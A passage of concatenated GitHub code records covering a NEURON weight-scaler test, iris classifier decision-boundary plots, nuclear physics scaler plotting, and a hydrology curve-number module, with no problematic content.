","repo_name":"mizzmir/Deep-Reinforcement-Learning","sub_path":"PPO/learninig_agent.py","file_name":"learninig_agent.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"35921308633","text":"import logging\nimport os\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_env_variable_or_error(variable_name: str) -> str:\n    \"\"\"Utility function to get an environment variable by name, or raise error if not present\"\"\"\n\n    variable = os.environ.get(variable_name)\n\n    if not variable:\n        err_msg = f\" {variable_name} env variable not found.\"\n        logger.error(err_msg)\n        raise EnvironmentError(err_msg)\n\n    return variable\n","repo_name":"lorisclivaz/Erebots","sub_path":"spade/common/utils/evironment.py","file_name":"evironment.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"31875384635","text":"\"\"\"\nTest Van Rossum (2000) activity-dependent weight scaler\n\"\"\"\n\nfrom neuron import h\nimport numpy as np\n\nh.load_file(\"stdlib.hoc\") # Load the standard library\nh.load_file(\"stdrun.hoc\") # Load the standard run library\n\n\ncell = h.Section()\ncell.insert('hh')\ncell.insert('pas')\n\nizhi = h.IntFire2()\nizhi.ib = 1.05\n\n# Make weight scaler\nprint(\"Making scaler...\")\nhpwa = h.VanRossumHPWA(cell(0.5))\nhpwa.scaling = 0\nhpwa.set_target_rate(20.0)\n\n# Send cell spikes to weight scaler\nprint(\"Sending spikes...\")\nif izhi is None:\n    spike_rec = h.NetCon(cell(0.5)._ref_v, hpwa, -10, 1, 1, sec=cell)\n    spike_rec.threshold = -10\nelse:\n    spike_rec = h.NetCon(izhi, hpwa)\nspike_rec.delay = 1\nspike_rec.weight[0] = 1\n\n\nspike_vec = h.Vector()\nspike_rec.record(spike_vec)\n\n# Start weight scaling after a few seconds\nprint(\"Make init handlers...\")\n# nc = h.NetCon(None, hpwa) # NetCon to turn on/off NetStim\n# nc.weight[0] = 2.0 # signal turn on\ndef enable_scaling():\n    hpwa.scaling = 1\n    # nc.event(200)\nfih = h.FInitializeHandler(enable_scaling)\n\n# Stimulator for cell\nstim = h.IClamp(cell(0.5))\nstim.dur = 1e9\nstim.delay = 5\nstim.amp = 1e3\n\nprint(\"Initial weight value is {}\".format(stim.amp))\n\n# Add an excitatory weight for scaling\nprint(\"Adding weight ref...\")\nif izhi is None:\n    h.setpointer(stim._ref_amp, 'temp_wref', hpwa)\nelse:\n    h.setpointer(izhi._ref_ib, 'temp_wref', hpwa)\nhpwa.add_wref(1)\n\n# Record variables\nprint(\"Recording variables...\")\nw_rec = h.Vector()\nw_rec.record(stim._ref_amp)\nv_rec = h.Vector()\nif izhi is None:\n    v_rec.record(cell(0.5)._ref_v)\nelse:\n    v_rec.record(izhi._ref_m)\n\nprint(\"Simulating...\")\nh.dt = 0.025\nh.v_init = -68\nh.celsius = 35\n# h.finitialize()\nh.tstop = 10e3\nh.run()\n\n\nprint(\"Final weight value is {}\".format(stim.amp))\n\nimport matplotlib.pyplot as plt\nfig, axes = plt.subplots(2,1)\n\nwvec = w_rec.as_numpy()\ntvec = np.arange(wvec.size) * h.dt\nvvec = v_rec.as_numpy()\n\nax = axes[0]\nax.plot(tvec, wvec)\nax.vlines(spike_vec.as_numpy(), wvec.min(), wvec.max(), color='r')\n\nax = axes[1]\nax.plot(tvec, vvec)\n\nplt.show(block=False)","repo_name":"lkoelman/stn-gpe-model-frontiers","sub_path":"bgcellmodels/mechanisms/tests/test_VanRossumHPWA.py","file_name":"test_VanRossumHPWA.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"19514909801","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn import datasets\nfrom mlxtend.plotting import plot_decision_regions\n\niris = datasets.load_iris()\nX = iris.data[:, [0,2]]\ny = iris.target\ny = np.concatenate((y, np.ones(50)+2, np.ones(50)+3))\ny = y.astype(int)\nX = np.concatenate((X, X[:50]*2, X[:50]*3))\n\nlr = LogisticRegression(solver='newton-cg', multi_class='multinomial')\nlr.fit(X, y)\n\n\nplot_decision_regions(X, y, clf=lr)\n\n\n# In[8]:\n\n\n#lr.predict(X)\n#y\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[14]:\n\n\n# https://stackoverflow.com/questions/41138706/recreating-decision-boundary-plot-in-python-with-scikit-learn-and-matplotlib\n\n\n# In[13]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import datasets\nfrom matplotlib.lines import Line2D\nfrom matplotlib.ticker import MaxNLocator\nfrom sklearn import neighbors\n\niris = datasets.load_iris()\nx = iris.data[:,0:2] \ny = iris.target\n\n# create the x0, x1 feature\nx0 = x[:,0]\nx1 = x[:,1]\n\n# set main parameters for KNN plot\nN_NEIGHBORS = 15 # KNN number of neighbors\nH = 0.1 # mesh stepsize\nPROB_DOT_SCALE = 40 # modifier to scale the probability dots\nPROB_DOT_SCALE_POWER = 3 # exponential used to increase/decrease size of prob dots\nTRUE_DOT_SIZE = 50 # size of the true labels\nPAD = 1.0 # how much to \"pad\" around the true labels\n\nclf = neighbors.KNeighborsClassifier(N_NEIGHBORS, weights='uniform')\nclf.fit(x, y)\n\n# find the min/max points for both x0 and x1 features\n# these min/max values will be used to set the bounds\n# for the plot\nx0_min, x0_max = np.round(x0.min())-PAD, np.round(x0.max()+PAD)\nx1_min, x1_max = np.round(x1.min())-PAD, np.round(x1.max()+PAD)\n\n# create 1D arrays representing the range of probability data points\n# on both the x0 and x1 axes.\nx0_axis_range = np.arange(x0_min,x0_max, H)\nx1_axis_range = np.arange(x1_min,x1_max, H)\n\n# create meshgrid between the two axis ranges\nxx0, xx1 = np.meshgrid(x0_axis_range, x1_axis_range)\n\n# put the xx in the same dimensional format as the original x\n# because it's easier to work with that way (at least for me)\n# * shape will be: [no_dots, no_dimensions]\n#   where no_dimensions = 2 (x0 and x1 axis)\nxx = np.reshape(np.stack((xx0.ravel(),xx1.ravel()),axis=1),(-1,2))\n\nyy_hat = clf.predict(xx) # prediction of all the little dots\nyy_prob = clf.predict_proba(xx) # probability of each dot being \n                                # the predicted color\nyy_size = np.max(yy_prob, axis=1)\n\n# make figure\nplt.style.use('seaborn-whitegrid') # set style because it looks nice\nfig, ax = plt.subplots(nrows=1, ncols=1, figsize=(8,6), dpi=150)\n\n# establish colors and colormap\n#  * color blind colors, from \n#  https://towardsdatascience.com/two-simple-steps-to-create-colorblind-friendly-data-visualizations-2ed781a167ec\nredish = '#d73027'\norangeish = '#fc8d59'\nyellowish = '#fee090'\nblueish = '#4575b4'\ncolormap = np.array([redish,blueish,orangeish])\n\n# plot all the little dots, position defined by the xx values, color\n# defined by the knn predictions (yy_hat), and size defined by the \n# probability of that color (yy_prob)\n# * because the yy_hat values are either 0, 1, 2, we can use \n#   these as values to index into the colormap array\n# * size of dots (the probability) increases exponentially (^3), so that there is\n#   a nice difference between different probabilities. I'm sure there is a more\n#   elegant way to do this though...\n# * linewidths=0 so that there are no \"edges\" around the dots\nax.scatter(xx[:,0], xx[:,1], c=colormap[yy_hat], alpha=0.4, \n           s=PROB_DOT_SCALE*yy_size**PROB_DOT_SCALE_POWER, linewidths=0,)\n\n# plot the contours\n# * we have to reshape the yy_hat to get it into a \n#   2D dimensional format, representing both the x0\n#   and x1 axis\n# * the number of levels and color scheme was manually tuned\n#   to make sense for this data. Would probably change, for \n#   instance, if there were 4, or 5 (etc.) classes\nax.contour(x0_axis_range, x1_axis_range, \n           np.reshape(yy_hat,(xx0.shape[0],-1)), \n           levels=3, linewidths=1, \n           colors=[redish,blueish, blueish,orangeish,])\n\n# plot the original x values.\n# * zorder is 3 so that the dots appear above all the other dots \nax.scatter(x[:,0], x[:,1], c=colormap[y], s=TRUE_DOT_SIZE, zorder=3, \n           linewidths=0.7, edgecolor='k')\n\n# create legends\nx_min, x_max = ax.get_xlim()\ny_min, y_max = ax.get_ylim()\n\n# set x-y labels\nax.set_ylabel(r\"$x_1$\")\nax.set_xlabel(r\"$x_0$\")\n\n# create class legend\n# Line2D properties: https://matplotlib.org/stable/api/_as_gen/matplotlib.lines.Line2D.html\n# about size of scatter plot points: https://stackoverflow.com/a/47403507/9214620\nlegend_class = []\nfor flower_class, color in zip(['c', 's', 'v'], [blueish, redish, orangeish]):\n    legend_class.append(Line2D([0], [0], marker='o', label=flower_class,ls='None',\n                               markerfacecolor=color, markersize=np.sqrt(TRUE_DOT_SIZE), \n                               markeredgecolor='k', markeredgewidth=0.7))\n\n# iterate over each of the probabilities to create prob legend\nprob_values = [0.4, 0.6, 0.8, 1.0]\nlegend_prob = []\nfor prob in prob_values:\n    legend_prob.append(Line2D([0], [0], marker='o', label=prob, ls='None', alpha=0.8,\n                              markerfacecolor='grey', \n                              markersize=np.sqrt(PROB_DOT_SCALE*prob**PROB_DOT_SCALE_POWER), \n                              markeredgecolor='k', markeredgewidth=0))\n\n\n\nlegend1 = ax.legend(handles=legend_class, loc='center', \n                    bbox_to_anchor=(1.05, 0.35),\n                    frameon=False, title='class')\n\nlegend2 = ax.legend(handles=legend_prob, loc='center', \n                    bbox_to_anchor=(1.05, 0.65),\n                    frameon=False, title='prob', )\n\nax.add_artist(legend1) # add legend back after it disappears\n\nax.set_yticks(np.arange(x1_min,x1_max, 1)) # I don't like the decimals\nax.grid(False) # remove gridlines (inherited from 'seaborn-whitegrid' style)\n\n# only use integers for axis tick labels\n# from: https://stackoverflow.com/a/34880501/9214620\nax.xaxis.set_major_locator(MaxNLocator(integer=True))\nax.yaxis.set_major_locator(MaxNLocator(integer=True))\n\n# set the aspect ratio to 1, for looks\nax.set_aspect(1)\n\n# remove first ticks from axis labels, for looks\n# from: https://stackoverflow.com/a/19503828/9214620\nax.set_xticks(ax.get_xticks()[1:-1])\nax.set_yticks(np.arange(x1_min,x1_max, 1)[1:])\n\nplt.show()\n\n\n# In[1]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# \n# # Nearest Neighbors Classification\n# \n# Sample usage of Nearest Neighbors classification.\n# It will plot the decision boundaries for each class.\n# \n\n# In[2]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom matplotlib.colors import ListedColormap\nfrom sklearn import neighbors, datasets\n\nn_neighbors = 15\n\n# import some data to play with\niris = datasets.load_iris()\n\n# we only take the first two features. We could avoid this ugly\n# slicing by using a two-dim dataset\nX = iris.data[:, :2]\ny = iris.target\n\nh = 0.02  # step size in the mesh\n\n# Create color maps\ncmap_light = ListedColormap([\"orange\", \"cyan\", \"cornflowerblue\"])\ncmap_bold = [\"darkorange\", \"c\", \"darkblue\"]\n\nfor weights in [\"uniform\", \"distance\"]:\n    # we create an instance of Neighbours Classifier and fit the data.\n    clf = neighbors.KNeighborsClassifier(n_neighbors, weights=weights)\n    clf.fit(X, y)\n\n    # Plot the decision boundary. For that, we will assign a color to each\n    # point in the mesh [x_min, x_max]x[y_min, y_max].\n    x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1\n    y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1\n    xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))\n    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\n\n    # Put the result into a color plot\n    Z = Z.reshape(xx.shape)\n    plt.figure(figsize=(8, 6))\n    plt.contourf(xx, yy, Z, cmap=cmap_light)\n\n    # Plot also the training points\n    sns.scatterplot(\n        x=X[:, 0],\n        y=X[:, 1],\n        hue=iris.target_names[y],\n        palette=cmap_bold,\n        alpha=1.0,\n        edgecolor=\"black\",\n    )\n    plt.xlim(xx.min(), xx.max())\n    plt.ylim(yy.min(), yy.max())\n    plt.title(\n        \"3-Class classification (k = %i, weights = '%s')\" % (n_neighbors, weights)\n    )\n    plt.xlabel(iris.feature_names[0])\n    plt.ylabel(iris.feature_names[1])\n\nplt.show()\n\n\n# In[5]:\n\n\n\nn_neighbors = 15\n\n# import some data to play with\niris = datasets.load_iris()\n\n# we only take the first two features. We could avoid this ugly\n# slicing by using a two-dim dataset\nX = iris.data[:, 2:4]\ny = iris.target\n\nh = 0.02  # step size in the mesh\n\n# Create color maps\ncmap_light = ListedColormap([\"orange\", \"cyan\", \"cornflowerblue\"])\ncmap_bold = [\"darkorange\", \"c\", \"darkblue\"]\n\nfor weights in [\"uniform\", \"distance\"]:\n    # we create an instance of Neighbours Classifier and fit the data.\n    clf = neighbors.KNeighborsClassifier(n_neighbors, weights=weights)\n    clf.fit(X, y)\n\n    # Plot the decision boundary. For that, we will assign a color to each\n    # point in the mesh [x_min, x_max]x[y_min, y_max].\n    x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1\n    y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1\n    xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))\n    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\n\n    # Put the result into a color plot\n    Z = Z.reshape(xx.shape)\n    plt.figure(figsize=(8, 6))\n    plt.contourf(xx, yy, Z, cmap=cmap_light)\n\n    # Plot also the training points\n    sns.scatterplot(\n        x=X[:, 0],\n        y=X[:, 1],\n        hue=iris.target_names[y],\n        palette=cmap_bold,\n        alpha=1.0,\n        edgecolor=\"black\",\n    )\n    plt.xlim(xx.min(), xx.max())\n    plt.ylim(yy.min(), yy.max())\n    plt.title(\n        \"3-Class classification (k = %i, weights = '%s')\" % (n_neighbors, weights)\n    )\n    plt.xlabel(iris.feature_names[2])\n    plt.ylabel(iris.feature_names[3])\n\nplt.show()\n\n\n# In[6]:\n\n\n\nn_neighbors = 15\n\n# import some data to play with\niris = datasets.load_iris()\n\n# we only take the first two features. We could avoid this ugly\n# slicing by using a two-dim dataset\nX = iris.data[:, 1:3]\ny = iris.target\n\nh = 0.02  # step size in the mesh\n\n# Create color maps\ncmap_light = ListedColormap([\"orange\", \"cyan\", \"cornflowerblue\"])\ncmap_bold = [\"darkorange\", \"c\", \"darkblue\"]\n\nfor weights in [\"uniform\", \"distance\"]:\n    # we create an instance of Neighbours Classifier and fit the data.\n    clf = neighbors.KNeighborsClassifier(n_neighbors, weights=weights)\n    clf.fit(X, y)\n\n    # Plot the decision boundary. For that, we will assign a color to each\n    # point in the mesh [x_min, x_max]x[y_min, y_max].\n    x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1\n    y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1\n    xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))\n    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\n\n    # Put the result into a color plot\n    Z = Z.reshape(xx.shape)\n    plt.figure(figsize=(8, 6))\n    plt.contourf(xx, yy, Z, cmap=cmap_light)\n\n    # Plot also the training points\n    sns.scatterplot(\n        x=X[:, 0],\n        y=X[:, 1],\n        hue=iris.target_names[y],\n        palette=cmap_bold,\n        alpha=1.0,\n        edgecolor=\"black\",\n    )\n    plt.xlim(xx.min(), xx.max())\n    plt.ylim(yy.min(), yy.max())\n    plt.title(\n        \"3-Class classification (k = %i, weights = '%s')\" % (n_neighbors, weights)\n    )\n    plt.xlabel(iris.feature_names[1])\n    plt.ylabel(iris.feature_names[2])\n\nplt.show()\n\n\n# In[7]:\n\n\ntype(X)\n\n\n# In[8]:\n\n\ntype(y)\n\n\n# In[9]:\n\n\nX.shape\n\n\n# In[10]:\n\n\ny.shape\n\n\n# In[12]:\n\n\niris.target_names[y]\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"pairote-sat/SCMA248","sub_path":"_build/jupyter_execute/Demo/Demo_plot_classification.py","file_name":"Demo_plot_classification.py","file_ext":"py","file_size_in_byte":11742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"12239159200","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom pandas import DataFrame as pdf\nimport sys\n\n# heavy\ndf_ca40_src = pd.read_csv('cafe_prod_Ca40_SRC_report_summary.csv', comment='#')\ndf_ca48_src = pd.read_csv('cafe_prod_Ca48_SRC_report_summary.csv', comment='#')\ndf_fe54_src = pd.read_csv('cafe_prod_Fe54_SRC_report_summary.csv', comment='#')\n\ndf_ca48_mf = pd.read_csv('cafe_prod_Ca48_MF_report_summary.csv', comment='#')\ndf_ca40_mf = pd.read_csv('cafe_prod_Ca40_MF_report_summary.csv', comment='#')\n\n# light\ndf_be9_src = pd.read_csv('cafe_prod_Be9_SRC_report_summary.csv', comment='#')\ndf_b10_src = pd.read_csv('cafe_prod_B10_SRC_report_summary.csv', comment='#')\ndf_b11_src = pd.read_csv('cafe_prod_B11_SRC_report_summary.csv', comment='#')\ndf_c12_src = pd.read_csv('cafe_prod_C12_SRC_report_summary.csv', comment='#')\n\n# ca48 MF\nI48_mf = (df_ca48_mf['avg_current'])[-3:]\nQ48_mf = (df_ca48_mf['charge'])[-3:]\nQ48_mf_csum =  Q48_mf.cumsum()\nT2_scl_ca48_mf = (df_ca48_mf['T2_scl_rate']*1000.*df_ca48_mf['beam_time'])[-3:]\nT2_scl_per_Q_ca48_mf = T2_scl_ca48_mf / Q48_mf\nreal_yield_ca48 = (df_ca48_mf['real_Yield'])[-3:]\nyield_per_Q_ca48 = real_yield_ca48 / Q48_mf\nprint('T2_scl_ca48_mf=',T2_scl_ca48_mf)\nprint('T2_scl_per_Q_ca48_mf=',T2_scl_per_Q_ca48_mf)\nprint('Q48_mf=',Q48_mf)\nprint('Q48_mf_sum=',Q48_mf_csum)\n\n\n#ca40 MF\nI40_mf = df_ca40_mf['avg_current']\nQ40_mf = df_ca40_mf['charge']\nQ40_mf_csum =  Q40_mf.cumsum()\nT2_scl_ca40_mf = df_ca40_mf['T2_scl_rate']*1000.*df_ca40_mf['beam_time']\nT2_scl_per_Q_ca40_mf = T2_scl_ca40_mf / Q40_mf\nreal_yield_ca40 = df_ca40_mf['real_Yield']\nyield_per_Q_ca40 = real_yield_ca40 / Q40_mf\n\n\n\n\n\n\nI40 = df_ca40_src['avg_current']\nI48 = df_ca48_src['avg_current']\nI54 = df_fe54_src['avg_current']\n\nI9  = df_be9_src['avg_current']\nI10 = df_b10_src['avg_current']\nI11 = df_b11_src['avg_current']\nI12 = df_c12_src['avg_current']\n\n\nQ40 = df_ca40_src['charge']\nQ48 = df_ca48_src['charge']\nQ54 = df_fe54_src['charge']\n\nQ9  = df_be9_src['charge']\nQ10 = df_b10_src['charge']\nQ11 = df_b11_src['charge']\nQ12 = df_c12_src['charge']\n\nQ9csum  = Q9.cumsum()\nQ10csum = Q10.cumsum() \nQ11csum = Q11.cumsum() \nQ12csum = Q12.cumsum() \n\nQ40csum =  Q40.cumsum()\nQ48csum =  Q48.cumsum()\nQ54csum =  Q54.cumsum()\n\n\n\nT2_scl_ca40 = df_ca40_src['T2_scl_rate']*1000.*df_ca40_src['beam_time']\nT2_scl_ca48 = df_ca48_src['T2_scl_rate']*1000.*df_ca48_src['beam_time']\nT2_scl_fe54 = df_fe54_src['T2_scl_rate']*1000.*df_fe54_src['beam_time']\n\nT2_scl_be9 = df_be9_src['T2_scl_rate']*1000.*df_be9_src['beam_time']\nT2_scl_b10 = df_b10_src['T2_scl_rate']*1000.*df_b10_src['beam_time']\nT2_scl_b11 = df_b11_src['T2_scl_rate']*1000.*df_b11_src['beam_time']\nT2_scl_c12 = df_c12_src['T2_scl_rate']*1000.*df_c12_src['beam_time']\n\n\nT2_scl_per_Q_ca48 = T2_scl_ca48 / Q48\nT2_scl_per_Q_ca40 = T2_scl_ca40 / Q40\nT2_scl_per_Q_fe54 = T2_scl_fe54 / Q54\n\nT2_scl_per_Q_be9 = T2_scl_be9 / Q9\nT2_scl_per_Q_b10 = T2_scl_b10 / Q10\nT2_scl_per_Q_b11 = T2_scl_b11 / Q11\nT2_scl_per_Q_c12 = T2_scl_c12 / Q12\n\n# CA48 mf\nfig1, axs1 = plt.subplots()\n\n#  -2d plots--\naxs1.plot(I48_mf, T2_scl_per_Q_ca48_mf/T2_scl_per_Q_ca48_mf[2], marker='o', color='r', mec='k', label='relative T2 scalers Ca48 MF')\naxs1.plot(I40_mf, T2_scl_per_Q_ca40_mf/T2_scl_per_Q_ca40_mf[0], marker='o', color='b', mec='k', label='relative T2 scalers Ca40 MF')\n\naxs1.plot(I48_mf, yield_per_Q_ca48/yield_per_Q_ca48[2], marker='s', color='r', mec='k', label='relative Yield Ca48 MF')\naxs1.plot(I40_mf, yield_per_Q_ca40/yield_per_Q_ca40[0], marker='s', color='b', mec='k', label='relative Yield Ca40 MF')\n\naxs1.set_ylabel(r'Relative T2 scalers (or Yield) / mC ')\naxs1.set_xlabel('Avg Beam Current [uA]')\n\n#axs1[0].title.set_text('Relative T2 scalers per Charge')\n#axs1[0].plot(Q48_mf_csum, T2_scl_per_Q_ca48_mf/T2_scl_per_Q_ca48_mf[2], marker='^', color='r', mec='k', label='Ca48 MF')\n#axs1[0].plot(Q40_mf_csum, T2_scl_per_Q_ca40_mf/T2_scl_per_Q_ca40_mf[0], marker='^', color='b', mec='k', label='Ca40 MF')\n\n#axs1[0].title.set_text('Absolute T2 scalers per Charge')\n#axs1[0].plot(Q48_mf_csum, T2_scl_per_Q_ca48_mf, marker='^', color='r', mec='k', label='Ca48 MF')\n#axs1[0].plot(Q40_mf_csum, T2_scl_per_Q_ca40_mf, marker='^', color='b', mec='k', label='Ca40 MF')\n\n#axs1[0].set_ylabel(r'(T2_scalers/Q) / (T2_scalers/Q)$_{0}$ ')\n#axs1[0].set_ylabel(r'(T2_scalers/Q)$ ')\n#axs1[0].set_xlabel('Cumulative Charge [mC]')\n#plt.legend()\n\n#axs1[1].title.set_text('Relative Yield per Charge')\n#axs1[1].plot(Q48_mf_csum, yield_per_Q_ca48/yield_per_Q_ca48[2], marker='^', color='r', mec='k', label='Ca48 MF')\n#axs1[1].plot(Q40_mf_csum, yield_per_Q_ca40/yield_per_Q_ca40[0], marker='^', color='b', mec='k', label='Ca40 MF')\n#axs1[1].set_ylabel(r'(Yield/Q) / (Yield/Q)$_{0}$ ')\n#axs1[1].set_xlabel('Cumulative Charge [mC]')\n\n#axs1[1].title.set_text('Absolute Yield per Charge')\n#axs1[1].plot(Q48_mf_csum, yield_per_Q_ca48, marker='^', color='r', mec='k', label='Ca48 MF')\n#axs1[1].plot(Q40_mf_csum, yield_per_Q_ca40, marker='^', color='b', mec='k', label='Ca40 MF')\n#axs1[1].set_ylabel(r'(Yield/Q)$ ')\n#axs1[1].set_xlabel('Cumulative Charge [mC]')\n\n\n#axs1[2].title.set_text('Avg. Beam Current vs. Charge')\n#axs1[2].plot(Q48_mf_csum,  I48_mf, marker='^', color='r', mec='k', label=r'Ca48 MF')\n#axs1[2].plot(Q40_mf_csum,  I40_mf, marker='^', color='b', mec='k', label=r'Ca40 MF')\n \n#axs1[2].set_ylabel('Avg Beam Current')\n#axs1[2].set_xlabel('Cumulative Charge [mC]')\n#plt.legend()\n\n\nplt.legend()\nfig1.tight_layout()\nplt.show()\n\n\n'''\n#heavy\nfig1, axs1 = plt.subplots(2)\naxs1[0].title.set_text('Relative T2 scalers per Charge')\naxs1[0].plot(Q48csum, T2_scl_per_Q_ca48/T2_scl_per_Q_ca48[0], marker='^', color='r', mec='k', label='Ca48 SRC')\naxs1[0].plot(Q40csum, T2_scl_per_Q_ca40/T2_scl_per_Q_ca40[0], marker='o', color='b', mec='k', label='Ca40 SRC')\naxs1[0].plot(Q54csum, T2_scl_per_Q_fe54/T2_scl_per_Q_fe54[0], marker='s', color='g', mec='k', label='Fe54 SRC')\n\naxs1[0].set_ylabel(r'(T2_scalers/Q) / (T2_scalers/Q)$_{0}$ ')\naxs1[0].set_xlabel('Cumulative Charge [mC]')\nplt.legend()\n\naxs1[1].title.set_text('Avg. Beam Current vs. Charge')\naxs1[1].plot(Q48csum,  I48, marker='^', color='r', mec='k', label=r'Ca48 SRC')\naxs1[1].plot(Q40csum,  I40, marker='o', color='b', mec='k', label=r'Ca40 SRC')\naxs1[1].plot(Q54csum,  I54, marker='s', color='g', mec='k', label=r'Fe54 SRC')\n\naxs1[1].set_ylabel('Avg Beam Current')\naxs1[1].set_xlabel('Cumulative Charge [mC]')\nplt.legend()\n\nfig1.tight_layout()\nplt.show()\n'''\n\n#light\n'''\nfig2, axs2 = plt.subplots(2)\naxs2[0].title.set_text('Relative T2 scalers per Charge')\naxs2[0].plot(Q9csum , T2_scl_per_Q_be9/T2_scl_per_Q_be9[0], marker='^', color='r', mec='k', label='Be9 SRC')\naxs2[0].plot(Q10csum, T2_scl_per_Q_b10/T2_scl_per_Q_b10[0], marker='o', color='b', mec='k', label='B10 SRC')\naxs2[0].plot(Q11csum, T2_scl_per_Q_b11/T2_scl_per_Q_b11[0], marker='s', color='g', mec='k', label='B11 SRC')\naxs2[0].plot(Q12csum, T2_scl_per_Q_c12/T2_scl_per_Q_c12[0], marker='D', color='orange', mec='k', label='C12 SRC')\n\naxs2[0].set_ylabel(r'(T2_scalers/Q) / (T2_scalers/Q)$_{0}$ ')\naxs2[0].set_xlabel('Cumulative Charge [mC]')\nplt.legend()\n\naxs2[1].title.set_text('Avg. Beam Current vs. Charge')\naxs2[1].plot(Q9csum , I9 , marker='^', color='r', mec='k', label=r'Be9 SRC')\naxs2[1].plot(Q10csum, I10, marker='o', color='b', mec='k', label=r'B10 SRC')\naxs2[1].plot(Q11csum, I11, marker='s', color='g', mec='k', label=r'B11 SRC')\naxs2[1].plot(Q12csum, I12, marker='D', color='orange', mec='k', label=r'C12 SRC')\n\naxs2[1].set_ylabel('Avg Beam Current')\naxs2[1].set_xlabel('Cumulative Charge [mC]')\n\nplt.legend()\n\nfig2.tight_layout()\n\nplt.show()\n'''\n","repo_name":"Yero1990/cafe_offline_replay","sub_path":"post_analysis/summary_files/pass1/plot_scalers.py","file_name":"plot_scalers.py","file_ext":"py","file_size_in_byte":7618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"15875444773","text":"import math\nimport pandas as pd\nimport numpy as np\nimport augur.data as agd\n\n\ndef get_default_cn_parameters(version='redcross'):\n    \"\"\"\n    Get the default curve number parameters.\n\n    Parameters\n    ----------\n    version: str\n        Selection of the parameter sets: 'redcross' or 'augur'\n\n    Returns\n    -------\n    A dataframe with the default curve number parameters.\n    \"\"\"\n\n    cns = None\n    land_covers = ['farmland', 'pasture', 'forest', 'settlement', 'debris']\n\n    if version == 'redcross':\n        cns = pd.DataFrame(np.array([[67, 76, 83, 86],\n                                     [54, 70, 80, 84],\n                                     [35, 61, 74, 80],\n                                     [85, 90, 92, 94],\n                                     [8, 10, 15, 25]]),\n                           columns=['A', 'B', 'C', 'D'])\n        cns.index = land_covers\n\n    elif version == 'augur':\n        cns = pd.DataFrame(np.array([[35, 40, 43, 46],\n                                     [37, 37, 40, 82],\n                                     [20, 48, 70, 100],\n                                     [59, 73, 100, 60],\n                                     [8, 10, 15, 25]]),\n                           columns=['A', 'B', 'C', 'D'])\n        cns.index = land_covers\n\n    else:\n        raise ValueError(f\"Unknown CN version: {version}.\")\n\n    return cns\n\n\ndef create_cn_parameters_from_array(cns_array):\n    \"\"\"\n    Create a dataframe with the curve number parameters from a numpy array.\n\n    Parameters\n    ----------\n    cns_array: numpy array\n        The curve number parameters.\n\n    Returns\n    -------\n    A dataframe with the curve number parameters.\n    \"\"\"\n    return pd.DataFrame(cns_array,\n                        columns=['A', 'B', 'C', 'D'],\n                        index=['farmland', 'pasture', 'forest', 'settlement', 'debris'],\n                        dtype=np.int64)\n\n\ndef compute_cn_factor(catchment, cns, soil_type):\n    \"\"\"\n    Compute the curve number factor by combining the different land covers for a given\n    soil type.\n\n    Parameters\n    ----------\n    catchment: Pandas dataframe\n        Dataframe containing the land cover percentages.\n    cns: Pandas dataframe\n        Dataframe containing the curve number values for all land covers and soil types.\n    soil_type: str\n        The soil type category.\n\n    Returns\n    -------\n    The curve number factor for the different land covers for a given soil type.\n    \"\"\"\n    cn = catchment['cover_farmland'] / 100 * cns.at['farmland', soil_type] + \\\n         catchment['cover_pasture'] / 100 * cns.at['pasture', soil_type] + \\\n         catchment['cover_forest'] / 100 * cns.at['forest', soil_type] + \\\n         catchment['cover_settlement'] / 100 * cns.at['settlement', soil_type] + \\\n         (catchment['cover_bare'] + catchment['cover_cryo']) / 100 * \\\n         cns.at['debris', soil_type]\n\n    return cn\n\n\ndef get_rain_area(area, a=106.61, x=-0.289):\n    \"\"\"\n    Compute the rainfall area.\n\n    Parameters\n    ----------\n    area: float\n        The catchment area [km2].\n    a: float\n        A multiplicative parameter a.\n    x: float\n        An exponent parameter x.\n\n    Returns\n    -------\n    The rainfall area [%].\n    \"\"\"\n    if area <= 0:\n        raise ValueError(\"The catchment area cannot be null or negative.\")\n\n    return a * math.pow(area, x)\n\n\ndef get_production(area_rain, precipitation, cn_factor, a=0.7):\n    \"\"\"\n    Compute the precipitation relevant for runoff.\n\n    Parameters\n    ----------\n    area_rain: float\n        The rainfall area [%].\n    precipitation: float\n        The precipitation [mm].\n    cn_factor: float\n        The curve number factor.\n    a: float\n        A multiplicative parameter a.\n\n    Returns\n    -------\n    The precipitation for runoff [mm].\n    \"\"\"\n    return a * area_rain / 100 * precipitation * cn_factor / 100\n\n\ndef get_time_to_peak(watercourse_length, slope_gradient, storm_duration):\n    \"\"\"\n    Compute the time to 